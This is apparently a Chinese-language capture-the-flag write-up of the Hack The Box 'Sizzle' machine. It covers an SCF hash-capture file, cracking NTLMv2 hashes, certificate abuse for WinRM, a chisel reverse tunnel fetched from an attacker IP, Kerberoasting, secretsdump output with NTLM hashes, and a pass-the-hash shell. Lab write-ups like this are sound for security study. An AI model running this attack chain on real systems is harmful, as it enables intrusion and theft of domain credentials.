基本信息

端口扫描

windows服务器：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
$ nmap -sC -sV 10.10.10.103
Starting Nmap 7.91 ( https://nmap.org ) at 2020-12-10 13:23 CST
Nmap scan report for 10.10.10.103
Host is up (0.073s latency).
Not shown: 987 filtered ports
PORT     STATE SERVICE       VERSION
21/tcp   open  ftp           Microsoft ftpd
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
|_  SYST: Windows_NT
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Microsoft IIS httpd 10.0
| http-methods:
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Site doesn't have a title (text/html).
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: HTB.LOCAL, Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=sizzle.HTB.LOCAL
| Subject Alternative Name: othername:<unsupported>, DNS:sizzle.HTB.LOCAL
| Not valid before: 2020-12-09T15:23:10
|_Not valid after:  2021-12-09T15:23:10
|_ssl-date: 2020-12-10T05:27:01+00:00; 0s from scanner time.
443/tcp  open  ssl/http      Microsoft IIS httpd 10.0
| http-methods:
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Site doesn't have a title (text/html).
| ssl-cert: Subject: commonName=sizzle.htb.local
| Not valid before: 2018-07-03T17:58:55
|_Not valid after:  2020-07-02T17:58:55
|_ssl-date: 2020-12-10T05:27:00+00:00; 0s from scanner time.
| tls-alpn:
|   h2
|_  http/1.1
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: HTB.LOCAL, Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=sizzle.HTB.LOCAL
| Subject Alternative Name: othername:<unsupported>, DNS:sizzle.HTB.LOCAL
| Not valid before: 2020-12-09T15:23:10
|_Not valid after:  2021-12-09T15:23:10
|_ssl-date: 2020-12-10T05:27:01+00:00; 0s from scanner time.
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: HTB.LOCAL, Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=sizzle.HTB.LOCAL
| Subject Alternative Name: othername:<unsupported>, DNS:sizzle.HTB.LOCAL
| Not valid before: 2020-12-09T15:23:10
|_Not valid after:  2021-12-09T15:23:10
|_ssl-date: 2020-12-10T05:27:01+00:00; 0s from scanner time.
3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: HTB.LOCAL, Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=sizzle.HTB.LOCAL
| Subject Alternative Name: othername:<unsupported>, DNS:sizzle.HTB.LOCAL
| Not valid before: 2020-12-09T15:23:10
|_Not valid after:  2021-12-09T15:23:10
|_ssl-date: 2020-12-10T05:27:01+00:00; 0s from scanner time.
Service Info: Host: SIZZLE; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
|   2.02:
|_    Message signing enabled and required
| smb2-time:
|   date: 2020-12-10T05:26:21
|_  start_date: 2020-12-09T07:32:52

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 190.49 seconds

21

FTP可以匿名登录，但没东西：

80

一张gif：

445

smb发现一些信息：

1
2
3
4
5
6
7
8
9
10
11
12
13
➜  ~ smbclient -N -L //10.10.10.103

	Sharename       Type      Comment
	---------       ----      -------
	ADMIN$          Disk      Remote Admin
	C$              Disk      Default share
	CertEnroll      Disk      Active Directory Certificate Services share
	Department Shares Disk
	IPC$            IPC       Remote IPC
	NETLOGON        Disk      Logon server share
	Operations      Disk
	SYSVOL          Disk      Logon server share
SMB1 disabled -- no workgroup available

Department Shares

smb只有department可以访问，挂载方便查看内容：

1
mount -t cifs -o rw,username=guest,password= '//10.10.10.103/Department Shares' /mnt

ZZ_ARCHIVE

很多都是空目录，只有ZZ_ARCHIVE里有东西，自动化脚本检查：

Public

Public也是可写的，并且存在自动清理机制，写进去的文件会每4分钟被清除一次

writeable.sh

1
2
3
4
5
6
7
8
9
10
#!/bin/bash
list=$(find /mnt -type d)
for d in $list
do
	touch $d/x 2>/dev/null
	if [ $? -eq 0 ]
	then
		echo $d " is writable"
	fi
done

SCF Attack

参考资料：

就是写进去一个scf文件，自动清理机制是其他用户进行的，当进入目录浏览共享会自动执行，从而使得我们得到该用户的hash

把scf文件写进去，开启responder监听，等几分钟得到hash

1
2
3
cp miao.scf /mnt/Users/Public

sudo responder -I tun0

john

然后可以破解出来密码：

1
2
3
4
5
6
7
8
9
➜  Sizzle sudo john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Ashare1972       (amanda)
1g 0:00:00:59 DONE (2020-12-03 02:50) 0.01694g/s 193435p/s 193435c/s 193435C/s Ashiah08..Arsenic
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed

但这个密码不能直接远程登录，应该是别的地方用到的

miao.scf

1
2
3
4
[Shell]
Command=2

IconFile=\\10.10.14.5\icon

目录扫描

443端口也开着的，使用IIS相关字典扫描得到结果：

1
2
3
4
5
6
7
➜  Sizzle gobuster dir -k -u https://10.10.10.103 -w /usr/share/seclists/Discovery/Web-Content/IIS.fuzz.txt -t 50

//certsrv/ (Status: 401)
//aspnet_client/ (Status: 403)
//certenroll/ (Status: 403)
//certsrv/mscep_admin (Status: 401)
//certsrv/mscep/mscep.dll (Status: 401)

可以使用前面的账号密码登录进去：

这是Active Directory证书服务中证书注册Web服务

certsrv

之后就是利用证书管理功能，生成可用于身份验证为amanda的证书：

1
openssl req -new -newkey rsa:2048 -nodes -keyout miao.key -out miao.csr

然后网页上Request a certificate -> advanced certificate request, 把自己生成的csr内容粘贴进去，模板xuanzeuser，Submit：

然后下载证书，要base64编码的：

winrm

然后用证书通过winrm连接,getshell：

winrm_shell.rb

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
require 'winrm'

# Author: Alamot

conn = WinRM::Connection.new(
  endpoint: 'https://10.10.10.103:5986/wsman',
  transport: :ssl,
  client_cert: 'certnew.cer',
  client_key: 'miao.key',
  key_pass: '123456',
  :no_ssl_peer_verification => true
)

command=""

conn.shell(:powershell) do |shell|
    until command == "exit\n" do
        output = shell.run("-join($id,'PS ',$(whoami),'@',$env:computername,' ',$((gi $pwd).Name),'> ')")
        print(output.output.chomp)
        command = gets
        output = shell.run(command) do |stdout, stderr|
            STDOUT.print stdout
            STDERR.print stderr
        end
    end
    puts "Exiting with code #{output.exitcode}"
end

amanda –> mrlky

这一步就是Kerberoasting，88端口在本地的，可以转发出去方便操作,拿到mrlky用户hash，破解密码，之后同样的方式给mrlky生成证书，winrm连接，得到user.txt：

1
2
3
4
5
6
7
8
9
10
11
12
# iwr -uri http://10.10.14.15:3000/chisel.exe -outfile c.exe
# powershell命令限制

wget http://10.10.14.15:3000/chisel.exe -OutFile chisel.exe

# target
./chisel.exe client 10.10.14.15:8008 R:88:127.0.0.1:88 R:389:localhost:389

# local
chisel server -p 8008 --reverse

python3 GetUserSPNs.py -request -dc-ip 127.0.0.1 htb.local/amanda

mrlky –> administrator

和后面一样，mrlky用户身份进行secretdump，拿到Administrator用户hash，然后PTH getshell

非预期？

file.txt

C:\Windows\system32里有个file.txt，里面是hash：

可以解出来密码： Football#7

secretdump

然后直接用解出来的密码dump其他用户hash：

1
python3 secretsdump.py 10.10.10.103/mrlky:Football#7@10.10.10.103
1
2
3
4
5
6
Administrator:500:aad3b435b51404eeaad3b435b51404ee:f6b7160bfc91823792e0ac3a162c9267:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:296ec447eee58283143efbd5d39408c8:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
amanda:1104:aad3b435b51404eeaad3b435b51404ee:7d0516ea4b6ed084f3fdf71c47d9beb3:::
mrlky:1603:aad3b435b51404eeaad3b435b51404ee:bceef4f6fe9c026d1d8dec8dce48adef:::

PTH

然后直接使用Administrator用户hash即可得到shell：

1
python3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:f6b7160bfc91823792e0ac3a162c9267 Administrator@10.10.10.103

flags

1
2
type C:\Users\mrlky\Desktop\user.txt
type C:\Users\Administrator\Desktop\root.txt

参考资料